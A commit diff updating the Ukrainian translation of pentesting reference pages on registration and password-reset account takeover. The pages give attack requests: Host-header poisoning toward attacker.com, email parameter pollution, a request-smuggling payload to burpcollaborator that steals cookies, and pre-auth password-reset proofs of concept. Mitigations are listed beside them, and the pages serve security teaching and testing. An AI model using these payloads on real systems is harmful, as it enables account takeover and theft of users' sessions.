Translated ['', 'src/pentesting-web/registration-vulnerabilities.md', 's

This commit is contained in:
Translator 2025-09-30 09:28:30 +00:00
parent 2e4b16a7ec
commit 3e8b124e53
2 changed files with 181 additions and 147 deletions

View File

@ -1,79 +1,79 @@
# Вразливості реєстрації та захоплення # Вразливості реєстрації та Takeover
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Захоплення реєстрації ## Реєстрація Takeover
### Дублювання реєстрації ### Дублювання реєстрації
- Спробуйте згенерувати, використовуючи існуюче ім'я користувача - Спробуйте створити акаунт з існуючим username
- Перевірте, варіюючи електронну пошту: - Перевірте варіації email:
- верхній регістр - верхній регістр
- \+1@ - \+1@
- додайте крапку в електронній пошті - додайте крапку в email
- спеціальні символи в імені електронної пошти (%00, %09, %20) - спеціальні символи в імені email (%00, %09, %20)
- Додайте чорні символи після електронної пошти: `test@test.com a` - Додайте black characters після email: `test@test.com a`
- victim@gmail.com@attacker.com - victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com - victim@attacker.com@gmail.com
### Перерахування імен користувачів ### Username Enumeration
Перевірте, чи можете ви з'ясувати, коли ім'я користувача вже було зареєстровано в додатку. Перевірте, чи можна визначити, коли username вже зареєстрований у додатку.
### Політика паролів ### Password Policy
Створюючи користувача, перевірте політику паролів (перевірте, чи можете ви використовувати слабкі паролі).\ Під час створення користувача перевірте політику паролів (чи можна використовувати слабкі паролі).\
У цьому випадку ви можете спробувати брутфорсити облікові дані. У такому випадку можна спробувати здійснити bruteforce credentials.
### SQL-ін'єкція ### SQL Injection
[**Перевірте цю сторінку** ](sql-injection/index.html#insert-statement), щоб дізнатися, як спробувати захоплення облікових записів або витягти інформацію через **SQL-ін'єкції** у формах реєстрації. [**Check this page** ](sql-injection/index.html#insert-statement) щоб дізнатися, як намагатися takeover акаунти або витягнути інформацію через **SQL Injections** у формах реєстрації.
### Захоплення Oauth ### Oauth Takeovers
{{#ref}} {{#ref}}
oauth-to-account-takeover.md oauth-to-account-takeover.md
{{#endref}} {{#endref}}
### Вразливості SAML ### SAML Vulnerabilities
{{#ref}} {{#ref}}
saml-attacks/ saml-attacks/
{{#endref}} {{#endref}}
### Зміна електронної пошти ### Зміна email
Після реєстрації спробуйте змінити електронну пошту та перевірте, чи ця зміна правильно перевіряється або чи можна змінити її на довільні електронні адреси. Після реєстрації спробуйте змінити email і перевірте, чи ця зміна коректно валідується або чи можна змінити її на довільні email.
### Більше перевірок ### Додаткові перевірки
- Перевірте, чи можете ви використовувати **одноразові електронні адреси** - Перевірте, чи можна використовувати **disposable emails**
- **Довгий** **пароль** (>200) призводить до **DoS** - **Long** **password** (>200) призводить до **DoS**
- **Перевірте обмеження швидкості на створення облікових записів** - **Check rate limits on account creation**
- Використовуйте username@**burp_collab**.net і аналізуйте **callback** - Використайте username@**burp_collab**.net та проаналізуйте **callback**
## **Захоплення скидання пароля** ## **Password Reset Takeover**
### Витік токена скидання пароля через реферер <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a> ### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Запросіть скидання пароля на вашу електронну адресу 1. Запросіть password reset на вашу email-адресу
2. Натисніть на посилання для скидання пароля 2. Клікніть по password reset link
3. Не змінюйте пароль 3. Не змінюйте пароль
4. Перейдіть на будь-які сторонні вебсайти (наприклад: Facebook, Twitter) 4. Клікніть на будь-який сайт третьої сторони (наприклад: Facebook, twitter)
5. Перехопіть запит у проксі Burp Suite 5. Перехопіть запит в Burp Suite proxy
6. Перевірте, чи заголовок referer витікає токен скидання пароля. 6. Перевірте, чи referer header is leaking password reset token.
### Отруєння скидання пароля <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a> ### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Перехопіть запит на скидання пароля в Burp Suite 1. Перехопіть password reset request в Burp Suite
2. Додайте або відредагуйте наступні заголовки в Burp Suite: `Host: attacker.com`, `X-Forwarded-Host: attacker.com` 2. Додайте або змініть наступні заголовки в Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Перешліть запит з модифікованим заголовком\ 3. Forward the request with the modified header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com` `http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Шукайте URL скидання пароля на основі аголовка host_, наприклад: `https://attacker.com/reset-password.php?token=TOKEN` 4. Шукайте password reset URL, побудований на основі _host header_, наприклад : `https://attacker.com/reset-password.php?token=TOKEN`
### Скидання пароля через параметр електронної пошти <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a> ### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash ```bash
# parameter pollution # parameter pollution
email=victim@mail.com&email=hacker@mail.com email=victim@mail.com&email=hacker@mail.com
@ -90,17 +90,17 @@ email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com email=victim@mail.com|hacker@mail.com
``` ```
### IDOR на параметрах API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a> ### IDOR у параметрах API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. Атакуючий повинен увійти в свій обліковий запис і перейти до функції **Змінити пароль**. 1. Зловмисник повинен увійти у свій акаунт і перейти до функції **Change password**.
2. Запустіть Burp Suite і перехопіть запит. 2. Запустіть Burp Suite та перехопіть запит
3. Відправте його на вкладку повторювача та відредагуйте параметри: User ID/email\ 3. Відправте його на вкладку repeater і відредагуйте параметри : User ID/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})` `powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Слабкий токен скидання пароля <a href="#weak-password-reset-token" id="weak-password-reset-token"></a> ### Слабкий токен скидання пароля <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
Токен скидання пароля повинен генеруватися випадковим чином і бути унікальним щоразу.\ Токен скидання пароля повинен генеруватися випадково й бути унікальним кожного разу.\
Спробуйте визначити, чи токен має термін дії або завжди однаковий, в деяких випадках алгоритм генерації є слабким і може бути вгаданий. Наступні змінні можуть використовуватися алгоритмом. Спробуйте визначити, чи токен має термін дії або чи він завжди однаковий; в деяких випадках алгоритм генерації слабкий і може бути вгаданий. Наступні змінні можуть використовуватися алгоритмом.
- Timestamp - Timestamp
- UserID - UserID
@ -108,40 +108,40 @@ email=victim@mail.com|hacker@mail.com
- Ім'я та прізвище - Ім'я та прізвище
- Дата народження - Дата народження
- Криптографія - Криптографія
- Тільки числа - Тільки цифри
- Невелика послідовність токенів (символи між \[A-Z,a-z,0-9]) - Коротка послідовність токена ( characters between \[A-Z,a-z,0-9])
- Повторне використання токена - Повторне використання токена
- Дата закінчення терміну дії токена - Дата закінчення дії токена
### Витік токена скидання пароля <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a> ### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Викличте запит на скидання пароля, використовуючи API/UI для конкретної електронної пошти, наприклад: test@mail.com 1. Спровокуйте запит на скидання пароля через API/UI для конкретного email e.g: test@mail.com
2. Перевірте відповідь сервера та перевірте наявність `resetToken` 2. Inspect the server response and check for `resetToken`
3. Потім використовуйте токен в URL, наприклад `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` 3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Скидання пароля через колізію імені користувача <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a> ### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. Зареєструйтеся в системі з іменем користувача, ідентичним імені користувача жертви, але з пробілами перед і/або після імені користувача. наприклад: `"admin "` 1. Зареєструйтеся в системі з username, ідентичним username жертви, але з пробілами, вставленими перед та/або після імені користувача. e.g: `"admin "`
2. Запросіть скидання пароля з вашим шкідливим іменем користувача. 2. Запросіть скидання пароля для вашого зловмисного username.
3. Використовуйте токен, надісланий на вашу електронну пошту, і скиньте пароль жертви. 3. Використайте токен, надісланий на вашу електронну пошту, щоб скинути пароль жертви.
4. Увійдіть до облікового запису жертви з новим паролем. 4. Увійдіть в акаунт жертви з новим паролем.
Платформа CTFd була вразливою до цієї атаки.\ The platform CTFd was vulnerable to this attack.\
Дивіться: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Захоплення облікового запису через міжсайтовий скриптинг <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a> ### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Знайдіть XSS всередині програми або піддомену, якщо куки обмежені до батьківського домену: `*.domain.com` 1. Знайдіть XSS всередині додатку або в субдомені, якщо cookies scoped до parent домену : `*.domain.com`
2. Витікайте поточний **cookie сесії** 2. Leak the current **sessions cookie**
3. Аутентифікуйтеся як користувач, використовуючи cookie 3. Authenticate as the user using the cookie
### Захоплення облікового запису через підробку HTTP-запитів <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a> ### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. Використовуйте **smuggler** для виявлення типу підробки HTTP-запитів (CL, TE, CL.TE)\ 1\. Використайте **smuggler** для визначення типу HTTP Request Smuggling (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\ `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Сформуйте запит, який перезапише `POST / HTTP/1.1` з наступними даними:\ 2\. Сформуйте запит, який перезапише `POST / HTTP/1.1` наступними даними:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` з метою перенаправлення жертв на burpcollab і викрадення їхніх куків\ `GET http://something.burpcollaborator.net HTTP/1.1 X:` with the goal of open redirect the victims to burpcollab and steal their cookies\
3\. Остаточний запит може виглядати наступним чином 3\. Фінальний запит може виглядати наступним чином
``` ```
GET / HTTP/1.1 GET / HTTP/1.1
Transfer-Encoding: chunked Transfer-Encoding: chunked
@ -153,29 +153,50 @@ Content-Length: 83
GET http://something.burpcollaborator.net HTTP/1.1 GET http://something.burpcollaborator.net HTTP/1.1
X: X X: X
``` ```
Hackerone звіти про експлуатацію цього багу\ Hackerone повідомляє про експлуатацію цієї вразливості\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\ \* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666) \* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Захоплення облікового запису через CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a> ### Account Takeover via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. Створіть payload для CSRF, наприклад: “HTML форма з автоматичним відправленням для зміни пароля 1. Створіть payload для CSRF, наприклад: “HTML form with auto submit for a password change
2. Відправте payload 2. Відправте payload
### Захоплення облікового запису через JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a> ### Account Takeover via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Token може використовуватися для аутентифікації користувача. JSON Web Token може використовуватися для аутентифікації користувача.
- Змініть JWT на інший User ID / Email - Відредагуйте JWT, підставивши інший User ID / Email
- Перевірте на слабкий підпис JWT - Перевірте на наявність слабкого підпису JWT
{{#ref}} {{#ref}}
hacking-jwt-json-web-tokens.md hacking-jwt-json-web-tokens.md
{{#endref}} {{#endref}}
## Registration-as-Reset (Upsert on Existing Email)
Деякі signup handlers виконують upsert, коли вказаний email вже існує. Якщо endpoint приймає мінімальний body з email і password і не вимагає перевірки прав власності, відправлення email жертви перезапише її пароль до автентифікації.
- Discovery: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch.
- Method hints: a GET returning messages like "Only POST request is allowed." often indicates the correct verb and that a JSON body is expected.
- Minimal body observed in the wild:
```json
{"email":"victim@example.com","password":"New@12345"}
```
Приклад PoC:
```http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
```
Вплив: Повний Account Takeover (ATO) без будь-якого reset token, OTP або email verification.
## Посилання ## Посилання
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover) - [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,12 +2,12 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## **Password Reset Token Leak Via Referrer** ## **Токен скидання пароля Leak через заголовок referer**
- The HTTP referer header may leak the токен для скидання пароля if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset. - HTTP referer header може leak токен скидання пароля, якщо він включений у URL. Це може трапитися, коли користувач переходить за посиланням на сторонньому сайті після запиту скидання пароля.
- **Impact**: Можливе захоплення облікового запису через Cross-Site Request Forgery (CSRF) атаки. - **Вплив**: Потенційне захоплення облікового запису через Cross-Site Request Forgery (CSRF).
- **Exploitation**: Щоб перевірити, чи витікає токен для скидання пароля в referer header, **request a password reset** на вашу електронну адресу і **click the reset link**, що прийде. **Do not change your password** негайно. Натомість **navigate to a third-party website** (наприклад Facebook або Twitter), одночасно **intercepting the requests using Burp Suite**. Перевірте запити, щоб з'ясувати, чи **referer header contains the password reset token**, оскільки це може розкрити чутливу інформацію третім особам. - **Експлуатація**: Щоб перевірити, чи leak password reset token у referer header, **запросіть скидання пароля** на вашу електронну адресу та **натисніть на надане посилання для скидання**. **Не змінюйте свій пароль** одразу. Натомість **перейдіть на сторонній вебсайт** (наприклад Facebook або Twitter) під час **перехоплення запитів за допомогою Burp Suite**. Перевірте запити, щоб побачити, чи **referer header містить password reset token**, оскільки це може розкрити чутливу інформацію третім особам.
- **References**: - **Посилання**:
- [HackerOne Report 342693](https://hackerone.com/reports/342693) - [HackerOne Report 342693](https://hackerone.com/reports/342693)
- [HackerOne Report 272379](https://hackerone.com/reports/272379) - [HackerOne Report 272379](https://hackerone.com/reports/272379)
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a) - [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
@ -15,164 +15,164 @@
## **Password Reset Poisoning** ## **Password Reset Poisoning**
- Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site. - Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
- **Impact**: Призводить до потенційного захоплення облікового запису через leaking reset tokens to attackers. - **Вплив**: Може призвести до потенційного захоплення облікового запису через leak reset tokens атакуючому.
- **Mitigation Steps**: - **Кроки пом'якшення**:
- Validate the Host header against a whitelist of allowed domains. - Validate the Host header against a whitelist of allowed domains.
- Use secure, server-side methods to generate absolute URLs. - Use secure, server-side methods to generate absolute URLs.
- **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`. - **Патч**: Використовувати `$_SERVER['SERVER_NAME']` для побудови URL-адрес скидання пароля замість `$_SERVER['HTTP_HOST']`.
- **References**: - **References**:
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/) - [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **Password Reset By Manipulating Email Parameter** ## **Скидання пароля шляхом маніпуляції параметром email**
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link. Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
- Додати attacker email як другий параметр, використовуючи & - Додайте електронну адресу атакуючого як другий параметр, використовуючи &
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
email=victim@email.com&email=attacker@email.com email=victim@email.com&email=attacker@email.com
``` ```
- Додайте електронну адресу атакуючого як другий параметр, використовуючи %20 - Додати attacker email як другий параметр, використавши %20
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
email=victim@email.com%20email=attacker@email.com email=victim@email.com%20email=attacker@email.com
``` ```
- Додайте електронну адресу атакуючого як другий параметр, використовуючи | - Додайте attacker email як другий параметр, використовуючи |
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
email=victim@email.com|email=attacker@email.com email=victim@email.com|email=attacker@email.com
``` ```
- Додати електронну адресу attacker як другий параметр, використовуючи cc - Додати електронну адресу зловмисника як другий параметр, використовуючи cc
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld" email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
``` ```
- Додати attacker email як другий параметр, використовуючи bcc - Додайте електронну адресу зловмисника як другий параметр, використовуючи bcc
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld" email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
``` ```
- Додайте attacker email як другий параметр, використовуючи , - Додайте attacker email як другий параметр використовуючи ,
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
email="victim@mail.tld",email="attacker@mail.tld" email="victim@mail.tld",email="attacker@mail.tld"
``` ```
- Додати attacker email як другий параметр у json array - Додати електронну адресу зловмисника як другий параметр у масиві JSON
```php ```php
POST /resetPassword POST /resetPassword
[...] [...]
{"email":["victim@mail.tld","atracker@mail.tld"]} {"email":["victim@mail.tld","atracker@mail.tld"]}
``` ```
- **Заходи пом'якшення**: - **Кроки пом'якшення**:
- Правильно розбирайте та перевіряйте параметри електронної пошти на стороні сервера. - Коректно розбирати та перевіряти email-параметри на стороні сервера.
- Використовуйте prepared statements або parameterized queries, щоб запобігти injection attacks. - Використовуйте prepared statements або parameterized queries, щоб запобігти injection attacks.
- **Посилання**: - **Посилання**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872) - [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
## **Зміна email та пароля будь-якого користувача через параметри API** ## **Зміна Email та Password будь-якого користувача через API-параметри**
- Зловмисники можуть змінювати параметри електронної пошти та пароля в API-запитах, щоб змінити облікові дані облікового запису. - Зловмисники можуть змінювати параметри email та password у API-запитах, щоб змінити облікові дані аккаунта.
```php ```php
POST /api/changepass POST /api/changepass
[...] [...]
("form": {"email":"victim@email.tld","password":"12345678"}) ("form": {"email":"victim@email.tld","password":"12345678"})
``` ```
- **Заходи пом'якшення**: - **Кроки пом'якшення**:
- Забезпечте сувору валідацію параметрів та перевірки автентифікації. - Забезпечити сувору валідацію параметрів та перевірки автентифікації.
- Реалізуйте надійне логування та моніторинг для виявлення й реагування на підозрілі дії. - Реалізувати надійне логування та моніторинг для виявлення та реагування на підозрілі дії.
- **Посилання**: - **Джерело**:
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) - [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **No Rate Limiting: Email Bombing** ## **Відсутність обмеження частоти: Email Bombing**
- Відсутність rate limiting на запитах скидання пароля може призвести до email bombing, що перевантажить користувача листами для скидання пароля. - Відсутність обмеження частоти запитів на скидання пароля може призвести до email bombing, що переповнить користувача листами для скидання пароля.
- **Заходи пом'якшення**: - **Кроки пом'якшення**:
- Реалізуйте rate limiting на основі IP-адреси або облікового запису користувача. - Впровадити обмеження частоти на основі IP-адреси або облікового запису користувача.
- Використовуйте CAPTCHA, щоб запобігти автоматизованому зловживанню. - Використовувати CAPTCHA, щоб запобігти автоматизованому зловживанню.
- **Посилання**: - **Посилання**:
- [HackerOne Report 280534](https://hackerone.com/reports/280534) - [HackerOne Report 280534](https://hackerone.com/reports/280534)
## **Дізнатися, як генерується токен для скидання пароля** ## **Дізнатися, як генерується токен скидання пароля**
- Розуміння патерну або методу генерації токена може дозволити передбачати або brute-forcing токени. Деякі варіанти: - Розуміння патерну або методу генерації токена може дозволити передбачити або перебрати токени. Деякі варіанти:
- На основі мітки часу - На основі часової мітки (timestamp)
- На основі UserID - На основі UserID
- На основі email користувача - На основі email користувача
- На основі імені та прізвища - На основі імені та прізвища
- На основі дати народження - На основі дати народження
- На основі криптографії - На основі криптографії
- **Заходи пом'якшення**: - **Кроки пом'якшення**:
- Використовуйте сильні криптографічні методи для генерації токенів. - Використовувати надійні криптографічні методи для генерації токенів.
- Забезпечте достатню випадковість та довжину, щоб запобігти передбачуваності. - Забезпечити достатню випадковість та довжину, щоб уникнути передбачуваності.
- **Інструменти**: Використовуйте Burp Sequencer для аналізу випадковості токенів. - **Інструменти**: Використовуйте Burp Sequencer для аналізу випадковості токенів.
## **Передбачуваний UUID** ## **Передбачуваний UUID**
- Якщо UUIDs (версія 1) вгадувані або передбачувані, зловмисники можуть brute-force їх, щоб згенерувати дійсні токени скидання. Перевірте: - Якщо UUID (версії 1) є вгадуваними або передбачуваними, атакувальники можуть перебрати їх, щоб згенерувати дійсні токени скидання. Перевірте:
{{#ref}} {{#ref}}
uuid-insecurities.md uuid-insecurities.md
{{#endref}} {{#endref}}
- **Заходи пом'якшення**: - **Кроки пом'якшення**:
- Використовуйте GUID версії 4 для випадковості або впровадьте додаткові заходи безпеки для інших версій. - Використовуйте GUID версії 4 для випадковості або реалізуйте додаткові заходи безпеки для інших версій.
- **Інструменти**: Використовуйте [guidtool](https://github.com/intruder-io/guidtool) для аналізу та генерації GUID. - **Інструменти**: Використовуйте [guidtool](https://github.com/intruder-io/guidtool) для аналізу та генерації GUID.
## **Маніпуляція відповіді: заміна помилкової відповіді на коректну** ## **Маніпуляція відповіддю: замінити помилкову відповідь на коректну**
- Маніпуляція HTTP-відповідями для обходу повідомлень про помилку або обмежень. - Маніпуляція HTTP-відповідями для обходу повідомлень про помилки або обмежень.
- **Заходи пом'якшення**: - **Кроки пом'якшення**:
- Реалізуйте серверні перевірки, щоб забезпечити цілісність відповідей. - Реалізувати перевірки на стороні сервера, щоб гарантувати цілісність відповідей.
- Використовуйте захищені канали зв'язку, такі як HTTPS, щоб запобігти man-in-the-middle атакам. - Використовувати захищені канали зв'язку, такі як HTTPS, щоб запобігти MITM-атакам.
- **Посилання**: - **Джерело**:
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) - [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Використання простроченого токена** ## **Використання простроченого токена**
- Перевірка, чи можна все ще використовувати прострочені токени для скидання пароля. - Тестування того, чи можна використовувати прострочені токени для скидання пароля.
- **Заходи пом'якшення**: - **Кроки пом'якшення**:
- Впровадьте суворі політики терміну дії токенів і перевіряйте їх прострочення на стороні сервера. - Впровадити суворі політики терміну дії токенів і перевіряти їх прострочення на стороні сервера.
## **Brute Force Password Reset Token** ## **Перебір токена скидання пароля**
- Спроба brute-force токена скидання за допомогою інструментів на кшталт Burpsuite та IP-Rotator для обходу обмежень за IP. - Спроба перебору токена скидання пароля з використанням інструментів на кшталт Burpsuite і IP-Rotator для обходу обмежень за IP.
- **Заходи пом'якшення**: - **Кроки пом'якшення**:
- Впровадьте надійні механізми rate-limiting і блокування облікового запису. - Реалізувати надійні механізми обмеження частоти та блокування облікового запису.
- Моніторьте підозрілі дії, які вказують на brute-force атаки. - Моніторити підозрілі дії, що вказують на перебор (brute-force).
## **Спроба використати свій токен** ## **Спроба використання токена**
- Перевірка, чи може reset token зловмисника бути використаний разом з email жертви. - Перевірка того, чи може токен атакувальника використовуватись разом з email потерпілого.
- **Заходи пом'якшення**: - **Кроки пом'якшення**:
- Переконайтеся, що токени прив'язані до сесії користувача або інших атрибутів, специфічних для користувача. - Переконатися, що токени прив'язані до сесії користувача або інших атрибутів, специфічних для користувача.
## **Інвалідація сесії при виході/скиданні пароля** ## **Інвалідація сесій при виході/скиданні пароля**
- Забезпечення інвалідації сесій, коли користувач виходить або скидає пароль. - Переконатися, що сесії інвалідуються, коли користувач виходить або скидає пароль.
- **Заходи пом'якшення**: - **Кроки пом'якшення**:
- Реалізуйте правильне управління сесіями, забезпечуючи інвалідацію всіх сесій при виході або скиданні пароля. - Реалізувати правильне керування сесіями, забезпечивши інвалідацію всіх сесій після виходу або скидання пароля.
## **Інвалідація сесії при виході/скиданні пароля** ## **Інвалідація сесій при виході/скиданні пароля**
- Reset tokens повинні мати час життя, після якого вони стають недійсними. - Токени скидання повинні мати час життя, після якого вони стають недійсними.
- **Заходи пом'якшення**: - **Кроки пом'якшення**:
- Встановіть розумний час життя для reset token і суворо примусово перевіряйте його на боці сервера. - Встановити розумний термін дії токенів скидання і суворо його перевіряти на стороні сервера.
## **Обхід ліміту OTP шляхом зміни сесії** ## **OTP rate limit bypass by changing your session**
- Якщо сайт використовує сесію користувача для відстеження невірних спроб OTP і OTP був слабким (<= 4 цифри), то ми можемо ефективно brute-force OTP. - Якщо сайт використовує сесію користувача для відстеження невдалих спроб введення OTP і OTP був слабким ( <= 4 цифри), тоді ми можемо ефективно перебрати OTP.
- **Експлуатація**: - **експлуатація**:
- просто запросіть новий токен сесії після блокування сервером. - просто запросіть новий токен сесії після блокування сервером.
- **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!): - **Приклад** коду, який експлуатує цю уразливість шляхом випадкового вгадування OTP (коли ви змінюєте сесію, OTP також зміниться, тому ми не зможемо послідовно перебрати його!):
``` python ``` python
# Authentication bypass by password reset # Authentication bypass by password reset
@ -231,9 +231,9 @@ except Exception as e:
print("[+] Attck stopped") print("[+] Attck stopped")
``` ```
## Довільне скидання пароля через skipOldPwdCheck (pre-auth) ## Arbitrary password reset via skipOldPwdCheck (pre-auth)
Деякі реалізації відкривають дію зміни пароля, яка викликає routine зміни пароля з skipOldPwdCheck=true і не перевіряє жодного reset token або права власності. Якщо endpoint приймає параметр action, наприклад change_password, та username/new password в тілі запиту, зловмисник може скинути довільні облікові записи pre-auth. Деякі реалізації надають endpoint для зміни пароля, який викликає процедуру зміни пароля з skipOldPwdCheck=true і не перевіряє жодного reset token або приналежності. Якщо endpoint приймає параметр action, наприклад change_password, і username/new password у тілі запиту, атакувальник може скинути довільні облікові записи pre-auth.
Вразливий патерн (PHP): Вразливий патерн (PHP):
```php ```php
@ -255,21 +255,34 @@ $current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, t
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id); emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
} }
``` ```
Запит на експлуатацію (концепція): Exploitation запит (концепція):
```http ```http
POST /hub/rpwd.php HTTP/1.1 POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd! action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
``` ```
Заходи пом'якшення: Міри пом'якшення:
- Завжди вимагайте дійсний, time-bound reset token, прив'язаний до account і session перед зміною пароля. - Завжди вимагайте дійсний, обмежений у часі reset token, прив'язаний до облікового запису та сесії перед зміною пароля.
- Ніколи не відкривайте доступ до шляхів skipOldPwdCheck неавторизованим користувачам; вимагайте автентифікацію для звичайної зміни пароля та перевіряйте старий пароль. - Ніколи не відкривайте шляхи skipOldPwdCheck для неавторизованих користувачів; вимагайте автентифікацію для звичайної зміни пароля та перевіряйте старий пароль.
- Скасуйте всі активні sessions та reset tokens після зміни пароля. - Анулюйте всі активні сесії та токени скидання після зміни пароля.
